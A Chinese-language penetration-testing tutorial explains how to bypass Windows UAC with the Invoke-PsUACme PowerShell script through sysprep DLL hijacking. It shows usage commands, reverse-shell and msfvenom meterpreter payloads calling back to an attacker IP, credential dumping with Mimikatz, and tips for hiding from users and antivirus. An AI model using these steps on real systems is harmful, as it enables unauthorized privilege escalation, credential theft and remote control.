背景介绍
UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员密码。通过在这些操作启动前对其进行验证,UAC 可以帮助防止恶意软件和间谍软件在未经许可的情况下在计算机上进行安装或对计算机进行更改。
最近,在同Red团队接触的过程中,我通过客户端侧攻击获取到了一些用户机器的访问shell。在很多情况下,用户都拥有管理权限,但是我却陷入了非提权的PowerShell反向shell,此时UAC就是让人扫兴的地方。我讨厌UAC,因为它很烦人但还没处在安全边界。我曾阅读资料以及尝试绕过UAC,从中我知道绕过它其实是微不足道的。在本文中,我们将尝试各种方法和代码来绕过UAC。
UACME及使用方法
我们选择的用以绕过UAC的工具是UACME。这个优秀的工具实现了各种方法,并且值得庆幸的是它是开源的,为此感谢@hFirF0XAs。因为我总是尽量在后期利用阶段都使用PowerShell,所以我测试了UACME,并使用PowerShell实现了其中的一些方法。这里我给出Invoke-PsUACme.ps1文件,你可以在Nishang中的“Escalation(提权)”分类中找到它。
首先,我们以sysprep方法开始,它是绕过UAC最常用的方法,它在2009年由Leo Davidson而出名(详情)。它包括以下步骤:
1、复制并在目录C:\Windows\System32\sysprep中植入一个DLL。DLL的名称取决于Windows版本。
(1)Windows 7上为CRYPTBASE.dll。
(2)Windows 8上为shcore.dll。
2、从上述目录中执行sysprep.exe。它将加载上述DLL并以特殊权限执行它。
事实上,所有的UAC绕过方法包括加载DLL和可执行的名称和位置。见下表:
测试过的构建版本:
Windows 7 build 6.1.7601.65536
Windows 8.1 build 6.3.9600.0
Windows 10 build 10.0.10240.0
现在,将DLL复制到 sysprep目录,我们需要进行权限提升。实现这一目的的两种最流行的方式是:使用一个IFileOperation COM对象,或者使用Wusa.exe和它的“extract”选项。目前,Invoke-PsUACme使用的是Wusa方法。因为Wusa设置为了自动提升,所以我们可以用它来提取一个cab文件到sysprep目录。可以通过使用makecab工具创建一个cab文件:
C:\> makecab C:\uac\evil.dll C:\uac\uac.cab
上面的命令只是为了解释Invoke-PsUACme到底做了什么,我们并不需要手动运行这些命令。
现在,Invoke-PsUACme使用的DLL来自于UACME项目,并做了一个小小的改变。并非运行cmd.exe,而是我们告诉DLL从C:\Windows\Temp执行cmd.bat。这个cmd.bat中包含了我们将在目标机器上执行的payload。在执行复杂攻击时,这一点将给我们提供很大的灵活性。
上面的DLL(64位和32位)被硬编码在了DLLBytes64和DLLBytes32变量中的脚本中。这个脚本能够确定进程的bit-ness,而它就是从这里被调用的,并且使用apt DLL。说到更有趣的部分时,Invoke-PsUACme可以这样使用:
PS C:\> Invoke-PsUACme -method sysprep
很好,我们能够绕过UAC了。默认的payload仅仅检查绕过是否是成功的。注意,在cmd.bat文件中将-noexit参数传递给了PowerShell中,这样我们就可以看到输出了。
自定义Payload
我们还可以一直使用自定义payload:
PS C:\> Invoke-PsUACme -method oobe -Payload "powershell -noexit -c Get-Process"
请注意,我们还需要指定powershell.exe。无论为Paylaod参数指定了什么,它都会在C:\Windows\Temp\cmd.bat中结束。在DLL中改变批处理文件的路径之后,你也可以使用PayloadPath参数改变它。
后文中我们将再次讲解Payload参数的更多实际应用。
自定义DLL
为了使用一个自定义DLL,我们可以使用CustomDLL64和CustomDLL32参数。例如,可以使用UACME中原始的64位Fubuki DLL,并利用Invoke-PsUACme来使用它:
PS C:\> Invoke-PSUACMe -CustomDll64 C:\test\Fubuki64.dll -CustomDll32
我们也可以向DLLBytes64和DLLBytes32参数提供一个DLL的字节数组。
使用方法
现在,让我们再现本文开头中的场景,我们有几个未提权的反向PowerShell shell,我们可以使用Invoke-PsUACme来以高权限执行命令和脚本。接下来,我们使用Nishang的反向TCP(reverse TCP one liner),并使用Invoke-Encode编码它,然后通过Invoke-PsUACme来使用它:
很酷吧,我们成功地绕过了UAC,并提升了我们的权限。为了验证这一点,我们从Powerpreter运行Get-PassHashes。一旦成功进行了权限提升,通过使用Nishang/Powerpreter的Enable-DuplicateToken,我们总是可以将权限提升为SYSTEM。
事实上,在提升为SYSTEM权限后,我们也可以使用Powersploit中的Invoke-Mimikatz来用于域tokens。
在上面的例子中,如果你不能从web服务器上pull到脚本,那么可以使用Invoke-Encode将它们编码为压缩的base64类型,并能够以powershell.exe中的编码指令(-e或-encodecommand)参数使用。也许,你可能喜欢使用PowerShell中的“-WindowStyle hidden”参数来避免向用户显示任何弹窗。
虽然metasploit对于UAC绕过有它自己的实现方法,且我们可以利用提升的权限得到一个meterpreter,但利用前面的方法可以有无限的机会。此外,在PowerShell中,我们可以使用msfvenom来生成一个meterpreter:
./msfvenom -p windows/x64/meterpreter/reverse_https LHOST = 192.168.230.154 -f psh-reflection
我已经多次强调,对于Windows网络的渗透测试来说PowerShell是多么的有用。例如,在最初进行客户端侧攻击时,我们可以使用Invoke-PsUACme作为一个有效载荷(paylaod)。接下来,我们使用Nishang的Invoke-PsUACme和Out-Word。我们从Invoke-PsUACme脚本本身来进行函数调用,以此避免不必要的复杂命令。
搞定,此时就得到了一个提权的交互式反向PowerShell shell。
正如你所看到的,在PowerShell中实现现有技术是非常有益的,它不仅增加了对PowerShell的理解,还提高了使用PowerShell的技术。
限制性
因为Invoke-PsUACme基于UACME项目,而它所实现的技术会被恶意软件所使用,因此有可能它所使用的DLL在以后会被杀毒软件检测到。当这种问题出现时,根据以往的记录,对DLL的源码进行小小的修改应该能够解决这个问题。
此外,因为Wusa.exe在Windows 10上没有“extract”选项,所以目前Invoke-PsUACme在Windows 10上无法工作。因此,请自由实现IFileOperation或任何其他方法。
扩展阅读
对于PowerShell中的UAC绕过,还有其他的实现。可以查看这里。
为了更好地了解UAC绕过,可以查看下面的链接:
https://www.greyhathacker.net/?p=796
http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html